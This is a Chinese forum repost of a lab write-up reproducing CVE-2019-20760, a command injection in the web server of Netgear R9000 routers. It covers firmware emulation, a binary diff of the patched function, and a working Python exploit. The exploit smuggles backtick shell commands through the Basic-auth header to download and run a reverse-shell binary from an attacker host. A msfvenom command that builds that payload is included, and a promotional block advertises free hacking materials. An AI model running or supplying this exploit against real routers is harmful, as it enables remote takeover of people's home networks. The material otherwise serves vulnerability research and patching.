ToB企服应用市场:ToB评测及商务社交产业平台

标题: Netgear无线路由器漏洞复现(CVE-2019-20760) [打印本页]

作者: 盛世宏图    时间: 2024-5-20 04:35
标题: Netgear无线路由器漏洞复现(CVE-2019-20760)
漏洞概述

漏洞服务: uhttpd
漏洞类型: 长途下令实行
影响范围: 1.0.4.26之前的NETGEAR R9000装备会受到身份验证绕过的影响
办理发起: 更新版本
漏洞复现

操作环境: ubuntu:22.04
qemu-version: 8.1.1
仿真环境
  1. wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
复制代码
下载固件。
  1. binwalk -Mer R9000-V1.0.4.26.img
复制代码

可通过 binwalk 常规解压获得文件系统。
[img=720,107.67696909272183]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405141609315.png[/img]

查抄 ELF32 文件架构为 arm-32-little。
  1. wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
  2. wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
  3. wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
复制代码
下载合适的虚拟机映像。
  1. #!/bin/sh
  2. # 参考《CTF实战》by ChaMd5
  3. # 'ens33': The NIC is that can connect internet
  4. #sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
  5. sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
  6. sudo brctl addif br0 ens33               # 在 br0 中添加一个接口
  7. sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
  8. sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
  9. sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
  10. sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
  11. sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口
  12. sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
  13. sudo brctl show br0                      # 查看虚拟网桥列表
  14. sudo brctl showstp br0                   # 查看 br0 的各接口信息
  15. sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
  16. sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
  17. sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
  18. sudo brctl showstp br0
复制代码

配置网络。
  1. #!/bin/sh
  2. qemu-system-arm \
  3.    -M vexpress-a9 \
  4.    -kernel vmlinuz-3.2.0-4-vexpress \
  5.    -initrd initrd.img-3.2.0-4-vexpress \
  6.    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
  7.    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
  8.    -net nic -net tap,ifname=tap0,script=no,downscript=no \
  9.    -nographic
复制代码
  1. -M                          # 选择开发板•
  2. -m                          # 指定内存大小
  3. -drive                      # 定义存储驱动器•
  4. file=                       # 定义镜像文件•
  5. -net nic                    # 创建客户机网卡•
  6. -net tap                    # 创建 tap 设备,以桥接方式跟宿主机通信•
  7. ifname=virtual0             # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信•
  8. -nographic                  # 以非图形化模式启动•
  9. -append                     # 内核启动附加参数•
  10. -console=ttyAMA0            # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端
  11. -nographic                  # 不再启用额外的终端界面
复制代码
[img=720,99.78423236514523]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405141609317.png[/img]


启动 qemu-system-armhf 环境,默认用户名暗码都为 root。
  1. ifconfig eth0 192.168.152.168/24
复制代码
[img=720,362.958904109589]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405141609319.png[/img]

为 qemu-system-armhf 配置静态 IP。
  1. tar -cvf squashfs-root.tar.gz squashfs-root/
  2. python3 -m http.server
复制代码
[img=720,29.698996655518396]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405141609320.png[/img]


将文件根系统打包,然后利用 python3 的 http.server 模块下载到 qemu-system-armhf 的根目录中并用 tar xvf squashfs-root.tar.gz 解压。
  1. cd /squashfs-root
  2. mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互
  3. mount --bind /dev dev   # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动
  4. chroot . sh
复制代码

因为 chroot 会导致无法在隔离的文件系统中访问原本的 /proc和 /dev 目录,这里利用 mount 下令将 qemu-system-armhf 的 proc 和 dev 目录挂在到 squashfs-root 中,并更换根目录为 squashfs-root。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战本事手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
Web模仿
  1. find -name uhttpd
  2. cat ./etc/init.d/uhttpd
复制代码
  1. # ./etc/init.d/uhttpd
  2. ...
  3. start() {
  4.     #config_load uhttpd
  5.     #config_foreach start_instance uhttpd
  6.     #mkdir /tmp/www
  7.     #cp -rf /usr/www/* /tmp/www
  8.     /www/cgi-bin/uhttpd.sh start
  9.     inetd
  10.     detplc
  11.    #for bug58012
  12.    touch /tmp/fwcheck_status
  13. }
  14. ...
复制代码
查找 uhttpd 的相关文件。
  1. #!/bin/sh
  2. REALM=`/bin/cat /module_name | sed 's/\n//g'`
  3. UHTTPD_BIN="/usr/sbin/uhttpd"
  4. PX5G_BIN="/usr/sbin/px5g"
  5. uhttpd_stop()
  6. {
  7.     kill -9 $(pidof uhttpd)
  8. }
  9. uhttpd_start()
  10. {
  11.        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
  12. }
  13. case "$1" in
  14.     stop)
  15.         uhttpd_stop
  16.     ;;
  17.     start)
  18.         uhttpd_start
  19.     ;;
  20.     restart)
  21.         uhttpd_stop
  22.         uhttpd_start
  23.     ;;
  24.     *)
  25.         logger -- "usage: $0 start|stop|restart"
  26.     ;;
  27. esac
复制代码

检察 start() 函数中利用的 /www/cgi-bin/uhttpd.sh 脚本。发现启动下令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000 ,UHTTPD_BIN = /usr/sbin/uhttpd。我们无需开启 https,所以启动下令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80。
逆向分析
  1. wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
复制代码
获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff 进行二进制比对,来查找漏洞点。
[img=720,301.7821782178218]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405141609325.png[/img]

shift+D 选取修复版本的 /usr/sbin/uhttpd 文件即可,主要检察登录验证的 uh_cgi_auth_check() 函数。
  1.  memset(s, 0, 0x1000u);
  2.  v14 = strlen(v13);
  3.  uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
  4.  v15 = strchr(s, ':');
  5.  if ( !v15 )
  6.   {
  7. LABEL_32:
  8.    v16 = 0;
  9.    v17 = 0;
  10.    goto LABEL_15;
  11.   }
  12.  v16 = v15 + 1;
  13.  *v15 = 0;
  14.  if ( v15 != (char *)0xFFFFFFFF )
  15.   {
  16.    snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
  17.    system(command);
  18.    v3 = cat_file(73805);
  19.   }
  20.  v17 = s
复制代码
漏洞版本 base64 解密后 snprintf() 后直接传给 system() 实行,这里会把 v15(后面的内容放到 %s 处,记得加\n来实行多条指令。
  1.  memset(s, 0, 0x1000u);
  2.  v15 = strlen(v14);
  3.  uh_b64decode(s, 4095, v14 + 6, v15 - 6);
  4.  v16 = strchr(s, 58);
  5.  if ( !v16 )
  6.   {
  7. LABEL_15:
  8.    v17 = 0;
  9.    v18 = 0;
  10.    goto LABEL_16;
  11.   }
  12.  v17 = v16 + 1;
  13.  *v16 = 0;
  14.  if ( v16 != (char *)-1 )
  15.   {
  16.    v18 = s;
  17.    dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
  18.    v19 = cat_file("/tmp/hash_result");
  19.    goto LABEL_17;
  20.   }
复制代码
而修复版本则利用 dni_system() 实行,只可控参数。
获取权限

poc:
  1. #!/usr/bin/python3
  2. from pwn import *
  3. import requests
  4. import base64
  5. cmd  = 'admin:'
  6. cmd += '`'
  7. cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
  8. cmd += 'chmod 777 ./shell.elf\n'
  9. cmd += './shell.elf\n'
  10. cmd += '`'
  11. assert(len(cmd) < 255)
  12. cmd_b64 = base64.b64encode(cmd.encode()).decode()
  13. headers = {
  14.    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
  15.    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  16.    "Accept-Encoding": "gzip, deflate",
  17.    "Connection": "keep-alive",
  18.    "Upgrade-Insecure-Requests": "1",
  19.    "Authorization": "Basic " + cmd_b64
  20. }
  21. def attack():
  22.    try:
  23.        requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
  24.    except Exception as e:
  25.        print(e)
  26. attack()
复制代码
  1. msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
复制代码
利用 msf 天生对应架构的木马程序,然后在shell.elf所在的目录开启http服务,利用漏洞将木马程序下载下来。
[img=720,604.5605700712589]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405141609326.png[/img]

启动监听,并实行 exp.py
[img=720,400.1565557729941]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405141609327.png[/img]

成功获取 shell,我们利用获取的权限在 www 目录创建 flag.txt 文件然后访问它。

成功创建。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4